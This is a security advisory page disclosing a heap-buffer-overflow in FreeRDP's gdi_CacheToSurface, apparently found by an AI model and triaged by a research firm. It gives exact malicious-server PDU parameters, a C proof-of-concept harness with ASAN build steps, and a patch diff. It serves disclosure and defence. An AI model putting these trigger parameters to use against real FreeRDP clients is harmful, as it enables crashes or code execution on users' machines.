ANT-2026-RXYVE4DZ · freerdp

heap-buffer-overflow high

GHSA-mpxh-8fq3-x8mh GHSA-mvpx-xj7r-3p3r GHSA-p6r2-4hgm-m6ff

Severity Claude critical · Security research firm high · Maintainer unknown

Discovered by Claude Mythos Preview

REPORT

Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Trail of Bits.

ANT-2026-RXYVE4DZ: Heap-buffer-overflow in sanitizer_common_interceptors.inc:827

In FreeRDP's RDPGFX handler, gdi_CacheToSurface (libfreerdp/gdi/gfx.c:1552) validates a destination rectangle that has been clamped to UINT16_MAX, but then passes the original unclamped cacheEntry->width/height to freerdp_image_copy_no_overlap. A malicious RDP server can send a CreateSurface (65535x1), a SurfaceToCache producing a 65535-wide cache entry, and a CacheToSurface with destPt={65534,15}; the clamped rect passes validation while the real copy writes ~262,140 bytes past a ~4 MiB heap buffer allocated in gdi_CreateSurface. The attacker controls the surface dimensions, cache-entry size, and destination point via standard RDPGFX PDUs. The result is a large attacker-influenced heap write on the client, reproduced 3/3 under ASAN.

Target

Project: freerdp
Location: sanitizer_common_interceptors.inc:827

Technical Details

ASAN: heap-buffer-overflow WRITE of size 262140, 0 bytes to the right of a 4194344-byte region allocated by winpr_aligned_malloc in gdi_CreateSurface (gfx.c:1200). The bounds check clamps (destPt.x + cacheEntry->width) to UINT16_MAX before validating against the surface, so a destPt.x of 65534 plus a width of 65535 appears in-bounds; the subsequent freerdp_image_copy_no_overlap uses the unclamped width and writes far past the end of the surface buffer.

Crash trace:

The PoC is a well-crafted C program that demonstrates a heap-buffer-overflow WRITE vulnerability in FreeRDP's `gdi_CacheToSurface` function (`libfreerdp/gdi/gfx.c:1552`).

**Root cause:** `gdi_CacheToSurface` validates a *clamped* bounding rectangle (clamped to UINT16_MAX) but passes the *original unclamped* `cacheEntry->width/height` to `freerdp_image_copy_no_overlap`. When `destPt->x` is large (65534) and `cacheEntry->width` is also large (65535), the validation passes because the clamped rect fits within the surface, but the actual copy writes far beyond the allocated buffer.

**Attack chain:** Three RDPGFX PDUs that can be sent by a malicious server to a client:
1. CreateSurface (width=65535, height=1) — allocates a 4,194,304-byte buffer
2. SurfaceToCache (rect={0,0,65535,1}) — creates a cache entry with width=65535
3. CacheToSurface (destPt={65534,15}) — triggers the overflow: writes 262,140 bytes starting at offset 4,194,296, overflowing the buffer by ~262,132 bytes

**Reproduction results (3/3 runs):**
- All 3 runs: ASAN `heap-buffer-overflow` WRITE of size 262140
- All 3 runs: exit code 1 (ASAN abort)
- Stack trace consistently shows: `main` -> `gdi_CacheToSurface` (gfx.c:1552) -> `freerdp_image_copy_no_overlap` (color.c:1908) -> `generic_image_copy_no_overlap_memcpy` (prim_copy.c:285) -> `__interceptor_memcpy`
- Buffer allocated in `gdi_CreateSurface` (gfx.c:1200) via `winpr_aligned_malloc`
- "0 bytes to the right of 4194344-byte region" confirms overflow at exact buffer boundary

Reproduction

  1. Send RDPGFX CreateSurface with width=65535, height=1 (allocates ~4,194,304-byte surface buffer)
  2. Send RDPGFX SurfaceToCache with rect {0,0,65535,1} to create a cache entry of width=65535
  3. Send RDPGFX CacheToSurface with destPt={65534,15}; clamped rect passes validation but memcpy writes 262,140 bytes starting at offset ~4,194,296, overflowing by ~262,132 bytes

[No reproducer or sanitizer output attached — request from cvd@anthropic.com if needed.]

Acknowledgement

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-RXYVE4DZ.


Reference: ANT-2026-RXYVE4DZ
Anthropic CVD Policy: https://anthropic.com/security/cvd-policy

SECURITY RESEARCH FIRM ANALYSIS

Triage and disclosure were performed by Trail of Bits. The writeup below is the document the firm sent to the maintainer.

Verdict
true positive
Severity
high

Summary

A malicious RDP server can trigger a heap-buffer-overflow write in the FreeRDP client by sending crafted RDPGFX PDUs. The bug is in gdi_CacheToSurface: it validates a destination rectangle that is clamped to UINT16_MAX, but then performs the copy using the original cacheEntry->width/height. This can cause a large out-of-bounds heap write and may lead to client crashes or code execution.

This bug is reachable from a malicious RDP server, but only when the client has RDPGFX enabled. The C PoC is just a local harness that calls the exact same FreeRDP handlers that are normally triggered by server-sent RDPGFX PDUs.

Details

In FreeRDP commit 23b36cd00ebf0ccd97750fcdbc9aa2f362352da7:

  1. gdi_CreateSurface aligns the surface dimensions up to 16. surface->width = gfx_align_scanline(createSurface->width, 16) and surface->height = gfx_align_scanline(createSurface->height, 16). So a server-supplied CreateSurface(width=65535,height=1) results in an allocated surface of 65536x16 pixels.

  2. gdi_CacheToSurface builds a RECTANGLE_16 using clamped right/bottom edges. Because rect.right is clamped to UINT16_MAX, the rectangle validation can succeed even when the actual copy width/height would extend past the surface.

Concrete crash parameters (attacker-controlled via standard RDPGFX messages): create a surface with createSurface->width=65535, createSurface->height=1, create a cache entry with cacheEntry->width=65535, cacheEntry->height=1, send CacheToSurface with destPt={ x=65534, y=15 }.

PoC

This reproducer does not require a live RDP server. It simulates the exact bounds check used by gdi_CacheToSurface and then calls freerdp_image_copy_no_overlap with the same parameters gdi_CacheToSurface would pass.

Tested against FreeRDP commit 23b36cd00ebf0ccd97750fcdbc9aa2f362352da7 on Linux.

1) Build FreeRDP with ASAN/UBSAN (disable optional dependencies that are not needed for this PoC):

git clone https://github.com/FreeRDP/FreeRDP.git /tmp/freerdp-src
cd /tmp/freerdp-src
git checkout 23b36cd00ebf0ccd97750fcdbc9aa2f362352da7

mkdir build-asan && cd build-asan
cmake .. \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_FLAGS='-g -O1 -fno-omit-frame-pointer -fsanitize=address,undefined' \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined' \
  -DWITH_FFMPEG=OFF -DWITH_SWSCALE=OFF -DWITH_FUSE=OFF \
  -DWITH_SERVER=OFF -DWITH_SAMPLE=OFF -DWITH_SHADOW=OFF -DWITH_PROXY=OFF \
  -DWITH_CLIENT_SDL=OFF -DWITH_WAYLAND=OFF -DCHANNEL_URBDRC=OFF -DBUILD_TESTING=OFF
make -j"$(nproc)"

2) Save this as poc_505.c (for example in /tmp/poc_505.c):

#include <freerdp/types.h>
#include <freerdp/codec/color.h>

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static uint32_t gfx_align_scanline(uint32_t widthInBytes, uint32_t alignment)
{
        const uint32_t align = alignment;
        const uint32_t pad = align - (widthInBytes % alignment);
        uint32_t scanline = widthInBytes;

        if (align != pad)
                scanline += pad;

        return scanline;
}

static BOOL is_rect_valid(const RECTANGLE_16* rect, size_t width, size_t height)
{
        if (!rect)
                return FALSE;
        if ((rect->left > rect->right) || (rect->right > width))
                return FALSE;
        if ((rect->top > rect->bottom) || (rect->bottom > height))
                return FALSE;
        return TRUE;
}

int main(void)
{
        const uint16_t destX = 65534;
        const uint16_t destY = 15;
        const uint32_t cacheWidth = 65535;
        const uint32_t cacheHeight = 1;

        const uint32_t surfaceWidth = gfx_align_scanline(65535, 16); /* 65536 */
        const uint32_t surfaceHeight = gfx_align_scanline(1, 16);    /* 16 */
        const uint32_t surfaceScanline = gfx_align_scanline(surfaceWidth * 4U, 16);
        const size_t surfaceSize = (size_t)surfaceScanline * surfaceHeight;

        BYTE* surfaceData = (BYTE*)malloc(surfaceSize);
        if (!surfaceData)
                return 1;
        memset(surfaceData, 0x41, surfaceSize);

        const uint32_t cacheScanline = gfx_align_scanline(cacheWidth * 4U, 16);
        const size_t cacheSize = (size_t)cacheScanline * cacheHeight;

        BYTE* cacheData = (BYTE*)malloc(cacheSize);
        if (!cacheData)
        {
                free(surfaceData);
                return 1;
        }
        memset(cacheData, 0x42, cacheSize);

        const RECTANGLE_16 rect = { destX, destY,
                (UINT16)MIN(UINT16_MAX, (uint32_t)destX + cacheWidth),
                (UINT16)MIN(UINT16_MAX, (uint32_t)destY + cacheHeight) };

        if (!is_rect_valid(&rect, surfaceWidth, surfaceHeight))
        {
                fprintf(stderr, "rect unexpectedly invalid\n");
                free(cacheData);
                free(surfaceData);
                return 1;
        }

        /* This mirrors the vulnerable call site in gdi_CacheToSurface. */
        freerdp_image_copy_no_overlap(surfaceData, PIXEL_FORMAT_BGRA32, surfaceScanline, destX, destY,
                                     cacheWidth, cacheHeight, cacheData, PIXEL_FORMAT_BGRA32,
                                     cacheScanline, 0, 0, NULL, FREERDP_FLIP_NONE);

        free(cacheData);
        free(surfaceData);
        return 0;
}

3) Compile and run:

cd /tmp/freerdp-src/build-asan

gcc -g -O1 -fsanitize=address,undefined \
  -I../include -I./include -I../winpr/include -I./winpr/include \
  /tmp/poc_505.c \
  -L./libfreerdp -L./winpr/libwinpr -lfreerdp3 -lwinpr3 \
  -Wl,-rpath,./libfreerdp:./winpr/libwinpr -o /tmp/poc_505

ASAN_OPTIONS='detect_leaks=0:abort_on_error=1:halt_on_error=1:print_stacktrace=1' \
  LD_LIBRARY_PATH=./libfreerdp:./winpr/libwinpr \
  /tmp/poc_505

Expected result: ASAN reports a heap-buffer-overflow with WRITE of size 262140.

Suggested fix

Add bounds checks based on the real (unclamped) copy dimensions before calling freerdp_image_copy_no_overlap.

diff --git a/libfreerdp/gdi/gfx.c b/libfreerdp/gdi/gfx.c
index feec35967..aaad7b349 100644
--- a/libfreerdp/gdi/gfx.c
+++ b/libfreerdp/gdi/gfx.c
@@ -1659,6 +1659,11 @@ static UINT gdi_CacheToSurface(RdpgfxClientContext* context,
                if (!is_rect_valid(&rect, surface->width, surface->height))
                        goto fail;
+
+               if ((UINT32)destPt->x + cacheEntry->width > surface->width)
+                       goto fail;
+               if ((UINT32)destPt->y + cacheEntry->height > surface->height)
+                       goto fail;

                if (!freerdp_image_copy_no_overlap(surface->data, surface->format, surface->scanline,
                                                   destPt->x, destPt->y, cacheEntry->width,
                                                   cacheEntry->height, cacheEntry->data, cacheEntry->format,

Impact

This is a heap-buffer-overflow write in the FreeRDP client and any user or application using FreeRDP (for example xfreerdp) connecting to an attacker-controlled RDP server that negotiates RDPGFX is impacted. At minimum an attacker get remote crash (DoS) of the FreeRDP client (which is not a high severity in that context), but and potentially code execution in the context of the client process, because the attacker controls a large out-of-bounds heap write (size and content come from server-controlled cached pixel data). A server can control the exact fields that lead into gdi_CacheToSurface, and the bug is on the real server->client message path.

Background of that issue This bug was found as a part of an Anthropic research into the use of large language models for automated vulnerability discovery in open source software. Anthropic then engaged Trail of Bits to independently triage and validate those issues.

TIMELINE

Dates from discovery through public reveal.

  1. 2026-03-24 Reported to tracker
  2. 2026-04-30 Sent to maintainer
  3. 2026-04-30 Maintainer acknowledged
  4. 2026-05-12 Patch released
  5. 2026-05-20 Publicly revealed
PROVENANCE

SHA-3-512 hash:

0c44262d039d2d96e1bca18c6ba2921c2566dcd498a233f42d427dd2b208cf3b6ebd2e0cb0c30267ec4d9c5269de8379573ba271aeeda56757340fab7ff84161

Committed 2026-04-30 00:03 PT

Revealed 2026-05-20 00:40 PT

Verify (download preimage.json)

Show preimage JSON
{
  "ant_id": "ANT-2026-RXYVE4DZ",
  "bug_class": "Heap-buffer-overflow",
  "claude_severity": "critical",
  "commit_sha": null,
  "created_at": "2026-03-24T20:44:05+00:00",
  "description": "In FreeRDP's RDPGFX handler, gdi_CacheToSurface (libfreerdp/gdi/gfx.c:1552) validates a destination rectangle that has been clamped to UINT16_MAX, but then passes the original unclamped cacheEntry->width/height to freerdp_image_copy_no_overlap. A malicious RDP server can send a CreateSurface (65535x1), a SurfaceToCache producing a 65535-wide cache entry, and a CacheToSurface with destPt={65534,15}; the clamped rect passes validation while the real copy writes ~262,140 bytes past a ~4 MiB heap buffer allocated in gdi_CreateSurface. The attacker controls the surface dimensions, cache-entry size, and destination point via standard RDPGFX PDUs. The result is a large attacker-influenced heap write on the client, reproduced 3/3 under ASAN.",
  "discovered_at": null,
  "location": "sanitizer_common_interceptors.inc:827",
  "poc_sha256": null,
  "preimage_version": 1,
  "project": "freerdp",
  "reproduction": [
    "1. Send RDPGFX CreateSurface with width=65535, height=1 (allocates ~4,194,304-byte surface buffer)",
    "2. Send RDPGFX SurfaceToCache with rect {0,0,65535,1} to create a cache entry of width=65535",
    "3. Send RDPGFX CacheToSurface with destPt={65534,15}; clamped rect passes validation but memcpy writes 262,140 bytes starting at offset ~4,194,296, overflowing by ~262,132 bytes"
  ],
  "technical_details": "ASAN: heap-buffer-overflow WRITE of size 262140, 0 bytes to the right of a 4194344-byte region allocated by winpr_aligned_malloc in gdi_CreateSurface (gfx.c:1200). The bounds check clamps (destPt.x + cacheEntry->width) to UINT16_MAX before validating against the surface, so a destPt.x of 65534 plus a width of 65535 appears in-bounds; the subsequent freerdp_image_copy_no_overlap uses the unclamped width and writes far past the end of the surface buffer.",
  "title": "Heap-buffer-overflow in sanitizer_common_interceptors.inc:827",
  "vendor_severity": "high"
}